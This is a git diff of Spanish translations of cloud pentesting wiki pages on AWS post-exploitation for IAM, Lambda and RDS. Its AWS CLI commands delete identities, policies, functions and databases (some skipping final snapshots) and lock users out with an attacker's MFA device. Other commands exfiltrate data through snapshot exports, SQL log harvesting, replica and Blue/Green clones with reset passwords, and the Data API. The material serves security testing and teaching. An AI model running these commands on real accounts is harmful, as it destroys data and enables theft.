servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y provocar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y vigilados. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### Eliminación de identidades -Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos —o cambiar la pertenencia a grupos— eliminando identidades y trazas asociadas. Esto puede romper inmediatamente el acceso de personas y servicios que dependen de esas identidades, provocando denegación de servicio o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas. +Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—o cambiar la pertenencia a un grupo—eliminando identidades y trazas asociadas. Esto puede interrumpir inmediatamente el acceso para personas y servicios que dependen de esas identidades, causando denial-of-service o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas. ```bash # Delete a user aws iam delete-user \ @@ -115,7 +115,7 @@ aws iam delete-role \ --role-name ``` ### -Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/inline, eliminar versiones de políticas o límites de permisos, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para los principals que dependían de esas políticas, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitoreadas. +Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/en línea, eliminar versiones de políticas o límites de permisos, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para las entidades que dependían de esas políticas, por lo que estas acciones de IAM deben estar fuertemente restringidas y monitorizadas. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -128,7 +128,7 @@ aws iam delete-role-policy \ --policy-name ``` ### Eliminación de identidad federada -Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o quitar IDs de cliente. Esto rompe la autenticación federada, impidiendo la validación de tokens y negando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones sean restaurados. +Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o eliminar client IDs. Esto interrumpe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restablezcan. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` -### Activación ilegítima de MFA -Con `iam:EnableMFADevice`, un atacante puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, para iniciar sesión solo se requiere uno, por lo que este ataque no tendrá efecto en negar el acceso). +### Activación no autorizada de MFA +Con `iam:EnableMFADevice`, un atacante puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, iniciar sesión requiere solo uno, por lo que este ataque no tendrá efecto para negar el acceso). ```bash aws iam enable-mfa-device \ --user-name \ @@ -148,7 +148,7 @@ aws iam enable-mfa-device \ --authentication-code2 789012 ``` ### Certificate/Key Metadata Tampering -Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de public keys y certificates. Al marcar keys/certificates como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS e interrumpir inmediatamente servicios que dependen de esas credentials, causando pérdida de acceso o disponibilidad. +Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS e interrumpir inmediatamente servicios que dependen de esas credenciales, provocando pérdida de acceso o disponibilidad. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -159,6 +159,33 @@ aws iam update-server-certificate \ --server-certificate-name \ --new-path /prod/ ``` +### `iam:Delete*` + +El comodín de IAM iam:Delete* otorga la capacidad de eliminar muchos tipos de recursos de IAM —usuarios, roles, grupos, políticas, claves, certificados, dispositivos MFA, versiones de políticas, etc.— y, por lo tanto, tiene un radio de impacto muy alto: un actor al que se le conceda iam:Delete* puede destruir permanentemente identidades, credenciales, políticas y artefactos relacionados, eliminar auditoría/evidencia y provocar interrupciones de servicio u operativas. Algunos ejemplos son +```bash +# Delete a user +aws iam delete-user --user-name + +# Delete a role +aws iam delete-role --role-name + +# Delete a managed policy +aws iam delete-policy --policy-arn arn:aws:iam:::policy/ +``` +### `iam:EnableMFADevice` + +Un actor al que se le conceda la acción `iam:EnableMFADevice` puede registrar un MFA device en una identidad de la cuenta, siempre que el usuario no tuviera ya uno habilitado. Esto puede usarse para interferir con el acceso de un usuario: una vez que un attacker registra un MFA device, el usuario legítimo puede verse impedido de iniciar sesión porque no controla el MFA registrado por el attacker. + +Este ataque de denegación de acceso solo funciona si el usuario no tenía ningún MFA registrado; si el attacker registra un MFA device para ese usuario, el usuario legítimo quedará bloqueado en cualquier flujo que requiera ese nuevo MFA. Si el usuario ya tiene uno o más MFA devices bajo su control, añadir un MFA controlado por el attacker no bloquea al usuario legítimo — este puede seguir autenticándose usando cualquier MFA que ya posea. + +Para habilitar (registrar) un MFA device para un usuario, un attacker podría ejecutar: +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` ## Referencias - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 4ea62a6ff..49b50ccb2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -12,13 +12,19 @@ Para más información consulta: ### Exfilrtate Lambda Credentials -Lambda usa variables de entorno para inyectar credenciales en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable), puedes usarlas tú mismo. Residen en los nombres de variables por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. +Lambda usa variables de entorno para inyectar credentials en tiempo de ejecución. Si puedes acceder a ellas (leyendo `/proc/self/environ` o usando la función vulnerable misma), puedes usarlas tú mismo. Se almacenan en los nombres de variable por defecto `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. -Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las funciones lambda frecuentemente tienen más permisos asignados según su uso previsto. +Por defecto, estas tendrán acceso para escribir en un cloudwatch log group (cuyo nombre se almacena en `AWS_LAMBDA_LOG_GROUP_NAME`), así como para crear log groups arbitrarios; sin embargo, las lambda functions con frecuencia tienen más permisos asignados según su uso previsto. +### `lambda:Delete*` +Un atacante al que se le otorgue `lambda:Delete*` puede eliminar Lambda functions, versions/aliases, layers, event source mappings y otras configuraciones asociadas. +```bash +aws lambda delete-function \ +--function-name +``` ### Steal Others Lambda URL Requests -Si un atacante de alguna manera logra obtener RCE dentro de una Lambda podrá robar las solicitudes HTTP de otros usuarios dirigidas a la lambda. Si las solicitudes contienen información sensible (cookies, credenciales...) podrá robarlas. +Si un atacante de alguna manera logra obtener RCE dentro de una Lambda podrá robar las solicitudes HTTP de otros usuarios a la Lambda. Si las solicitudes contienen información sensible (cookies, credentials...) podrá exfiltrarlas. {{#ref}} aws-warm-lambda-persistence.md @@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md ### Steal Others Lambda URL Requests & Extensions Requests -Abusando de Lambda Layers también es posible aprovechar las extensions y persistir en la lambda, además de robar y modificar solicitudes. +Abusando de Lambda Layers también es posible abusar de extensions y persistir en la Lambda, además de robar y modificar solicitudes. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +40,7 @@ Abusando de Lambda Layers también es posible aprovechar las extensions y persis ### AWS Lambda – VPC Egress Bypass -Forzar una función Lambda a salir de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y evitando los controles de egress aplicados por subredes privadas de VPC sin NAT. +Forzar que una función Lambda salga de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando acceso saliente a internet y eludiendo los controles de egress aplicados por subredes privadas de la VPC sin NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abusar de `lambda:PutRuntimeManagementConfig` para fijar una función a una versión específica del runtime (Manual) o congelar actualizaciones (FunctionUpdate). Esto preserva la compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime desactualizado y vulnerable para facilitar la explotación y la persistencia a largo plazo. +Abusa de `lambda:PutRuntimeManagementConfig` para pin a una función a una versión específica del runtime (Manual) o congelar actualizaciones (FunctionUpdate). Esto preserva compatibilidad con layers/wrappers maliciosos y puede mantener la función en un runtime obsoleto y vulnerable para facilitar la explotación y la persistencia a largo plazo. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abusar de los controles avanzados de logging `lambda:UpdateFunctionConfiguration` para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de los roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` vía `AWSLambdaBasicExecutionRole`). Si la función imprime secretos/cuerpos de solicitud o falla con stack traces, puedes recopilarlos desde el nuevo log group. +Abusa de `lambda:UpdateFunctionConfiguration` y de los controles avanzados de logging para redirigir los logs de una función a un log group de CloudWatch Logs elegido por el atacante. Esto funciona sin cambiar el código ni el execution role (la mayoría de roles de Lambda ya incluyen `logs:CreateLogGroup/CreateLogStream/PutLogEvents` mediante `AWSLambdaBasicExecutionRole`). Si la función imprime secrets/request bodies o se bloquea con stack traces, puedes recopilarlos desde el nuevo log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Convertir una Function URL privada de Lambda en un endpoint público no autenticado cambiando el Function URL AuthType a NONE y adjuntando una resource-based policy que otorgue lambda:InvokeFunctionUrl a todos. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend. +Convierte una Lambda Function URL privada en un endpoint público no autenticado cambiando el Function URL AuthType a NONE y adjuntando una resource-based policy que otorgue lambda:InvokeFunctionUrl a todo el mundo. Esto permite la invocación anónima de funciones internas y puede exponer operaciones sensibles del backend. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abusar de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar los productores ni el código de la función original. +Abusa de `UpdateEventSourceMapping` para cambiar la función Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una función controlada por el atacante. Esto desvía silenciosamente datos en vivo sin tocar a los productores ni el código de la función original. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abusar de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego desplegar código trivial que liste/lea archivos desde la ruta montada para exfiltrar secretos/config compartidos a los que la función previamente no podía acceder. +Abusa de `lambda:UpdateFunctionConfiguration` para adjuntar un EFS Access Point existente a una Lambda, luego despliega código trivial que liste/lea archivos desde la ruta montada para exfiltrar secrets/config compartidos a los que la función previamente no podía acceder. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 7c1fa132f..56e947684 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -4,7 +4,7 @@ ## RDS -Para más información, consulta: +Para más información consulta: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Para más información, consulta: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot. +Si el atacante tiene suficientes permisos, podría hacer que una **DB accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente desde ese snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -38,6 +38,42 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` +### `rds:StopDBCluster` & `rds:StopDBInstance` +Un atacante con rds:StopDBCluster o rds:StopDBInstance puede forzar la detención inmediata de una instancia RDS o de un clúster completo, causando indisponibilidad de la base de datos, conexiones interrumpidas e interrupción de procesos que dependen de la base de datos. + +Para detener una sola instancia DB (ejemplo): +```bash +aws rds stop-db-instance \ +--db-instance-identifier +``` +Para detener todo un clúster de DB (ejemplo): +```bash +aws rds stop-db-cluster \ +--db-cluster-identifier +``` +### `rds:Delete*` + +Un atacante a quien se le otorgue `rds:Delete*` puede eliminar recursos de RDS, borrando instancias de DB, clústeres, instantáneas, copias de seguridad automatizadas, grupos de subred, grupos de parámetros/opciones y artefactos relacionados, causando una interrupción inmediata del servicio, pérdida de datos, destrucción de puntos de recuperación y pérdida de evidencia forense. +```bash +# Delete a DB instance (creates a final snapshot unless you skip it) +aws rds delete-db-instance \ +--db-instance-identifier \ +--final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot + +# Delete a DB instance and skip final snapshot (more destructive) +aws rds delete-db-instance \ +--db-instance-identifier \ +--skip-final-snapshot + +# Delete a manual DB snapshot +aws rds delete-db-snapshot \ +--db-snapshot-identifier + +# Delete an Aurora DB cluster (creates a final snapshot unless you skip) +aws rds delete-db-cluster \ +--db-cluster-identifier \ +--final-db-snapshot-identifier # or use --skip-final-snapshot +``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot. @@ -53,11 +89,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia RDS**. Si datos sensibles o credenciales de acceso quedan registrados accidentalmente, el atacante podría usar esta información para escalar privilegios o realizar acciones no autorizadas. +Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de log de una instancia RDS**. Si datos sensibles o credenciales de acceso se registran accidentalmente, el atacante podría utilizar esta información para escalar privilegios o realizar acciones no autorizadas. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impacto potencial**: Acceso a información sensible o acciones no autorizadas usando leaked credentials. +**Impacto potencial**: Acceso a información sensible o acciones no autorizadas mediante leaked credentials. ### `rds:DeleteDBInstance` @@ -73,17 +109,17 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final > [!NOTE] > TODO: Probar -Un atacante con este permiso puede **exportar una instantánea de una instancia RDS a un bucket S3**. Si el atacante controla el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada. +Un attacker con este permiso puede **exportar un snapshot de instancia RDS a un S3 bucket**. Si el attacker controla el S3 bucket de destino, podría acceder potencialmente a datos sensibles dentro del snapshot exportado. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impacto potencial**: Acceso a datos sensibles en el snapshot exportado. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replicación de copias de seguridad automatizadas entre Regiones para restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`) -Abusar de cross-Region automated backups replication para duplicar silenciosamente los automated backups de una instancia RDS en otra AWS Region y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Region que los defensores podrían no monitorear. +Abusar de la replicación de copias de seguridad automatizadas entre Regiones para duplicar silenciosamente las copias de seguridad automatizadas de una instancia RDS en otra Región de AWS y restaurarlas allí. El atacante puede entonces hacer que la BD restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorizar. -Permisos necesarios (mínimo): +Permisos necesarios (mínimos): - `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region - `rds:DescribeDBInstanceAutomatedBackups` in the destination Region - `rds:RestoreDBInstanceToPointInTime` in the destination Region @@ -91,7 +127,7 @@ Permisos necesarios (mínimo): - `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -Impacto: Persistencia y exfiltración de datos al restaurar una copia de datos de producción en otra Region y exponerla públicamente con credenciales controladas por el atacante. +Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante.
CLI de extremo a extremo (reemplazar marcadores de posición) @@ -163,24 +199,24 @@ aws rds stop-db-instance-automated-backups-replication \
-### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrate via RDS log APIs +### Habilitar logging completo de SQL mediante grupos de parámetros de DB y exfiltrar a través de RDS log APIs -Abusar de `rds:ModifyDBParameterGroup` con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilita el engine SQL logging y extrae los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs. +Abusar de `rds:ModifyDBParameterGroup` junto con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilitar el SQL logging del engine y descargar los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar consultas que puedan contener secretos/PII/JWTs. Permisos necesarios (mínimo): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (solo para adjuntar un parameter group custom si la instancia está usando el default) -- `rds:RebootDBInstance` (para parámetros que requieren reboot, p. ej., PostgreSQL) +- `rds:ModifyDBInstance` (solo para adjuntar un grupo de parámetros personalizado si la instancia está usando el predeterminado) +- `rds:RebootDBInstance` (para parámetros que requieren reinicio, p. ej., PostgreSQL) Pasos -1) Recon target and current parameter group +1) Recon el objetivo y el grupo de parámetros actual ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Asegúrate de que se adjunte un grupo de parámetros DB personalizado (no se puede editar el predeterminado) +2) Asegúrate de que se adjunte un grupo de parámetros de DB personalizado (no se puede editar el predeterminado) - Si la instancia ya usa un grupo personalizado, reutiliza su nombre en el siguiente paso. - De lo contrario, crea y adjunta uno que coincida con la familia del motor: ```bash @@ -196,8 +232,8 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Habilitar el registro SQL detallado -- Motores MySQL (inmediato / sin reinicio): +3) Habilitar registro SQL detallado +- MySQL engines (inmediato / sin reinicio): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Deja que la carga de trabajo se ejecute (o genera consultas). Las sentencias se escribirán en los archivos de logs del engine +4) Deja que la carga de trabajo se ejecute (o genera queries). Las sentencias se escribirán en los engine file logs - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Descubre y descarga los logs (no se requieren credenciales de la base de datos) +5) Descubre y descarga logs (no DB creds required) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -235,7 +271,7 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) Analizar sin conexión en busca de datos sensibles +6) Analizar offline en busca de datos sensibles ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` @@ -246,7 +282,7 @@ Ejemplo de evidencia (redactada): 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Limpieza -- Restablecer los parámetros a los valores predeterminados y reiniciar si es necesario: +- Revertir los parámetros a los valores predeterminados y reiniciar si es necesario: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Impacto: Post-exploitation data access al capturar todas las sentencias SQL de la aplicación vía AWS APIs (no DB creds), potencialmente leaking secrets, JWTs y PII. +Impacto: Post-exploitation acceso a datos al capturar todas las sentencias SQL de la aplicación vía AWS APIs (no DB creds), potencialmente leaking secretos, JWTs y PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Abusar de las réplicas de lectura de RDS para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, restablecer la contraseña maestra de la réplica (esto no cambia la primaria) y, opcionalmente, exponer la réplica públicamente para exfiltrar datos. +Abusar de RDS read replicas para obtener acceso de lectura fuera de banda sin tocar las credenciales de la instancia primaria. Un atacante puede crear una read replica a partir de una instancia de producción, resetear la master password de la replica (esto no cambia la primaria) y, opcionalmente, exponer la replica públicamente para exfiltrate datos. -Permisos necesarios (mínimos): +Permisos necesarios (mínimo): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si se expone públicamente) -Impacto: Acceso de solo lectura a datos de producción vía una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la primaria permanece intacta y la replicación continúa. +Impacto: Acceso de solo lectura a datos de producción vía una réplica con credenciales controladas por el atacante; menor probabilidad de detección ya que la instancia primaria permanece intacta y la replicación continúa. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -305,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Ejemplo de evidencia (MySQL): -- Estado de la DB réplica: `available`, replicación de lectura: `replicating` -- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de sólo lectura a la réplica. +- Estado de la réplica DB: `available`, replicación de lectura: `replicating` +- Conexión exitosa con la nueva contraseña y `@@read_only=1` confirmando acceso de solo lectura a la réplica. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Abusa de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de sólo lectura. Luego restablece las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que compartir snapshots y a menudo elude la monitorización centrada únicamente en la fuente. +Abusar de RDS Blue/Green para clonar una DB de producción en un entorno green continuamente replicado y de solo lectura. Luego restablecer las credenciales master del green para acceder a los datos sin tocar la instancia blue (prod). Esto es más sigiloso que snapshot sharing y con frecuencia evade la monitorización centrada solo en la fuente. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +393,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impacto: Acceso completo en modo solo lectura a una copia casi en tiempo real del entorno de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis sin conexión. +Impacto: Acceso completo a los datos en modo solo lectura a un clon casi en tiempo real de producción sin modificar la instancia de producción. Útil para extracción sigilosa de datos y análisis fuera de línea. ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Abusa de Aurora para habilitar el HTTP endpoint de RDS Data API en un clúster objetivo, restablecer la master password a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan el Data API/EnableHttpEndpoint (por ejemplo, Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL). +Abusar de Aurora para habilitar el endpoint HTTP del RDS Data API en un cluster objetivo, restablecer la contraseña master a un valor que controles y ejecutar SQL sobre HTTPS (no se requiere ruta de red VPC). Funciona en motores Aurora que soportan Data API/EnableHttpEndpoint (p. ej., Aurora MySQL 8.0 provisioned; algunas versiones de Aurora PostgreSQL/MySQL). Permisos (mínimos): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Impacto: Eludir la segmentación de red y exfiltrar datos vía AWS APIs sin conectividad VPC directa al DB. +Impacto: Eludir la segmentación de red y exfiltrar datos vía las AWS APIs sin conectividad VPC directa a la DB.
-End-to-end CLI (Aurora MySQL example) +CLI de extremo a extremo (ejemplo Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -425,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
